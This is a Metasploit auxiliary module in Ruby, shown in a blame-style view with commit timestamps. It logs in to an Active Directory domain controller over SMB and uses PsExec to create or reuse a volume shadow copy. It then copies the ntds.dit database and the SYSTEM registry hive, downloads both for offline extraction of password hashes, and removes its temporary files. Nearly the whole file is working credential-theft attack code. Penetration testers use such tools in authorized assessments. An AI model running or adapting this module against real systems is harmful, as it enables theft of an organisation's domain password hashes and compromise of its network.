2013-03-11 01:07:04 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
2012-12-14 14:53:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-01-07 18:49:58 +00:00
|
|
|
# Exploit mixins should be called first
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2013-03-10 20:15:50 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Psexec
|
2013-01-07 18:49:58 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Authenticated
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
# Aliases for common classes
|
|
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
|
|
XCEPT= Rex::Proto::SMB::Exceptions
|
|
|
|
CONST= Rex::Proto::SMB::Constants
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-03-14 12:40:45 +00:00
|
|
|
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',
|
|
|
|
'Description'=> %q{
|
|
|
|
This module authenticates to an Active Directory Domain Controller and creates
|
|
|
|
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
|
|
|
|
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
|
|
|
|
hive copy can be used in combination with other tools for offline extraction of AD
|
|
|
|
password hashes. All of this is done without uploading a single binary to the
|
|
|
|
target host.
|
2013-01-07 18:49:58 +00:00
|
|
|
},
|
|
|
|
'Author' => [
|
2013-03-14 12:40:45 +00:00
|
|
|
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
|
2013-01-07 18:49:58 +00:00
|
|
|
],
|
|
|
|
'License'=> MSF_LICENSE,
|
|
|
|
'References' => [
|
|
|
|
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
|
|
|
|
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ]
|
2013-04-21 20:22:41 +00:00
|
|
|
]
|
2013-01-07 18:49:58 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
|
|
|
|
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
|
|
|
|
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
|
2013-03-10 20:15:50 +00:00
|
|
|
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', 'false']),
|
2013-01-07 18:49:58 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def peer
|
|
|
|
return "#{rhost}:#{rport}"
|
2013-01-22 15:36:43 +00:00
|
|
|
end
|
2013-01-07 18:49:58 +00:00
|
|
|
|
|
|
|
|
|
|
|
# This is the main control method
|
2013-03-11 18:39:47 +00:00
|
|
|
def run
|
2013-01-22 15:36:43 +00:00
|
|
|
# Initialize some variables
|
2013-01-07 18:49:58 +00:00
|
|
|
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
|
2013-03-10 20:15:50 +00:00
|
|
|
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
|
2013-01-07 18:49:58 +00:00
|
|
|
createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%"
|
2013-03-11 18:39:47 +00:00
|
|
|
@ip = datastore['RHOST']
|
2013-03-10 20:15:50 +00:00
|
|
|
@smbshare = datastore['SMBSHARE']
|
2013-01-22 15:36:43 +00:00
|
|
|
# Try and connect
|
2013-01-07 18:49:58 +00:00
|
|
|
if connect
|
|
|
|
#Try and authenticate with given credentials
|
|
|
|
begin
|
|
|
|
smb_login
|
|
|
|
rescue StandardError => autherror
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return
|
|
|
|
end
|
2013-01-22 15:36:43 +00:00
|
|
|
# If a VSC was specified then don't try and create one
|
2013-01-07 18:49:58 +00:00
|
|
|
if datastore['VSCPATH'].length > 0
|
2013-01-22 15:36:43 +00:00
|
|
|
print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
|
2013-01-07 18:49:58 +00:00
|
|
|
vscpath = datastore['VSCPATH']
|
|
|
|
else
|
2013-03-10 20:15:50 +00:00
|
|
|
unless datastore['CREATE_NEW_VSC'] == true
|
|
|
|
vscpath = check_vss(text, bat)
|
|
|
|
end
|
2013-01-07 18:49:58 +00:00
|
|
|
unless vscpath
|
2013-03-10 20:15:50 +00:00
|
|
|
vscpath = make_volume_shadow_copy(createvsc, text, bat)
|
2013-01-07 18:49:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
if vscpath
|
2013-03-14 00:35:53 +00:00
|
|
|
if copy_ntds(vscpath, text) and copy_sys_hive
|
|
|
|
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))
|
|
|
|
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))
|
2013-01-22 15:36:43 +00:00
|
|
|
else
|
|
|
|
print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.")
|
2013-01-07 18:49:58 +00:00
|
|
|
end
|
|
|
|
end
|
2013-03-10 20:15:50 +00:00
|
|
|
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
|
2013-01-07 18:49:58 +00:00
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Thids method will check if a Volume Shadow Copy already exists and use that rather
|
|
|
|
# then creating a new one
|
2013-03-10 20:15:50 +00:00
|
|
|
def check_vss(text, bat)
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
2013-03-10 20:15:50 +00:00
|
|
|
print_status("#{peer} - Checking if a Volume Shadow Copy exists already.")
|
2013-01-07 18:49:58 +00:00
|
|
|
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
|
2013-03-10 20:15:50 +00:00
|
|
|
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
|
2013-01-07 18:49:58 +00:00
|
|
|
result = psexec(command)
|
2013-03-10 20:15:50 +00:00
|
|
|
data = smb_read_file(datastore['SMBSHARE'], @ip, text)
|
2013-01-07 18:49:58 +00:00
|
|
|
vscs = []
|
|
|
|
data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }
|
|
|
|
if vscs.empty?
|
2013-03-10 20:15:50 +00:00
|
|
|
print_status("#{peer} - No VSC Found.")
|
2013-01-07 18:49:58 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp
|
2013-03-10 20:15:50 +00:00
|
|
|
print_good("#{peer} - Volume Shadow Copy exists on #{vscpath}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return vscpath
|
|
|
|
rescue StandardError => vsscheckerror
|
2013-03-10 20:15:50 +00:00
|
|
|
print_error("#{peer} - Unable to determine if VSS is enabled: #{vsscheckerror}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Create a Volume Shadow Copy on the target host
|
2013-03-10 20:15:50 +00:00
|
|
|
def make_volume_shadow_copy(createvsc, text, bat)
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
|
|
|
#Try to create the shadow copy
|
2013-03-10 20:15:50 +00:00
|
|
|
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
|
2013-03-14 00:28:09 +00:00
|
|
|
print_status("#{peer} - Creating Volume Shadow Copy")
|
2013-01-07 18:49:58 +00:00
|
|
|
out = psexec(command)
|
|
|
|
#Get path to Volume Shadow Copy
|
2013-03-10 20:15:50 +00:00
|
|
|
vscpath = get_vscpath(text)
|
2013-01-07 18:49:58 +00:00
|
|
|
rescue StandardError => vscerror
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Unable to create the Volume Shadow Copy: #{vscerror}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
if vscpath
|
2013-03-14 00:28:09 +00:00
|
|
|
print_good("#{peer} - Volume Shadow Copy created on #{vscpath}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return vscpath
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
|
2013-03-14 00:35:53 +00:00
|
|
|
def copy_ntds(vscpath, text)
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
|
|
|
ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit"
|
|
|
|
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
|
2013-01-22 15:36:43 +00:00
|
|
|
run = psexec(command)
|
|
|
|
if !check_ntds(text)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
return true
|
2013-01-07 18:49:58 +00:00
|
|
|
rescue StandardError => ntdscopyerror
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
|
2013-01-22 15:36:43 +00:00
|
|
|
return false
|
2013-01-07 18:49:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2013-01-22 15:36:43 +00:00
|
|
|
# Checks if ntds.dit was copied to the Windows Temp directory
|
|
|
|
def check_ntds(text)
|
|
|
|
print_status("#{peer} - Checking if NTDS.dit was copied.")
|
2013-03-10 20:15:50 +00:00
|
|
|
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
|
2013-01-22 15:36:43 +00:00
|
|
|
run = psexec(check)
|
2013-03-10 20:15:50 +00:00
|
|
|
output = smb_read_file(@smbshare, @ip, text)
|
2013-01-22 15:36:43 +00:00
|
|
|
if output.include?("ntds")
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
2013-01-07 18:49:58 +00:00
|
|
|
|
2013-01-22 15:36:43 +00:00
|
|
|
# Copies the SYSTEM hive file to the Temp directory on the target host
|
2013-03-14 00:35:53 +00:00
|
|
|
def copy_sys_hive
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
|
|
|
# Try to crate the sys hive copy
|
|
|
|
command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
|
|
|
|
return psexec(command)
|
|
|
|
rescue StandardError => hiveerror
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Unable to copy the SYSTEM hive file: #{hiveerror}")
|
2013-01-22 15:36:43 +00:00
|
|
|
return false
|
2013-01-07 18:49:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Download the ntds.dit copy to your attacking machine
|
2013-03-14 00:35:53 +00:00
|
|
|
def download_ntds(file)
|
2013-03-14 00:28:09 +00:00
|
|
|
print_status("#{peer} - Downloading ntds.dit file")
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
|
|
|
# Try to download ntds.dit
|
2013-03-14 00:20:58 +00:00
|
|
|
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
2013-01-07 18:49:58 +00:00
|
|
|
remotefile = simple.open("#{file}", 'rob')
|
|
|
|
data = remotefile.read
|
|
|
|
remotefile.close
|
2013-03-14 12:40:45 +00:00
|
|
|
ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit")
|
|
|
|
print_good("#{peer} - ntds.dit stored at #{ntds_path}")
|
2013-01-07 18:49:58 +00:00
|
|
|
rescue StandardError => ntdsdownloaderror
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return ntdsdownloaderror
|
|
|
|
end
|
2013-03-14 00:20:58 +00:00
|
|
|
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
2013-01-07 18:49:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Download the SYSTEM hive copy to your attacking machine
|
2013-03-14 00:35:53 +00:00
|
|
|
def download_sys_hive(file)
|
2013-03-14 00:28:09 +00:00
|
|
|
print_status("#{peer} - Downloading SYSTEM hive file")
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
|
|
|
# Try to download SYSTEM hive
|
2013-03-14 00:20:58 +00:00
|
|
|
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
2013-01-07 18:49:58 +00:00
|
|
|
remotefile = simple.open("#{file}", 'rob')
|
|
|
|
data = remotefile.read
|
|
|
|
remotefile.close
|
2013-03-14 12:40:45 +00:00
|
|
|
hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive")
|
|
|
|
print_good("#{peer} - SYSTEM hive stored at #{hive_path}")
|
2013-01-07 18:49:58 +00:00
|
|
|
rescue StandardError => sysdownloaderror
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}")
|
2013-01-07 18:49:58 +00:00
|
|
|
return sysdownloaderror
|
|
|
|
end
|
2013-03-14 00:20:58 +00:00
|
|
|
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
2013-01-07 18:49:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Gets the path to the Volume Shadow Copy
|
2013-03-10 20:15:50 +00:00
|
|
|
def get_vscpath(file)
|
2013-01-07 18:49:58 +00:00
|
|
|
begin
|
|
|
|
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
|
|
|
|
vsc = ""
|
2013-03-10 20:15:50 +00:00
|
|
|
output = smb_read_file(@smbshare, @ip, file)
|
2013-01-07 18:49:58 +00:00
|
|
|
output.each_line do |line|
|
|
|
|
vsc += line if line.include?("GLOBALROOT")
|
|
|
|
end
|
|
|
|
return prepath + vsc.split("ShadowCopy")[1].chomp
|
|
|
|
rescue StandardError => vscpath_error
|
2013-03-14 00:28:09 +00:00
|
|
|
print_error("#{peer} - Could not determine the exact path to the VSC check your WINPATH")
|
2013-01-07 18:49:58 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2012-12-14 14:53:22 +00:00
|
|
|
|
2013-03-10 20:15:50 +00:00
|
|
|
# Removes files created during execution.
|
|
|
|
def cleanup_after(*files)
|
|
|
|
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
|
|
|
print_status("#{peer} - Executing cleanup...")
|
|
|
|
files.each do |file|
|
|
|
|
begin
|
|
|
|
if smb_file_exist?(file)
|
|
|
|
smb_file_rm(file)
|
|
|
|
end
|
|
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
|
|
|
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
left = files.collect{ |f| smb_file_exist?(f) }
|
|
|
|
if left.any?
|
|
|
|
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
|
|
|
else
|
|
|
|
print_status("#{peer} - Cleanup was successful")
|
|
|
|
end
|
2013-03-14 00:23:22 +00:00
|
|
|
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
2013-03-10 20:15:50 +00:00
|
|
|
end
|
2013-01-22 15:36:43 +00:00
|
|
|
|
2012-12-14 14:53:22 +00:00
|
|
|
end
|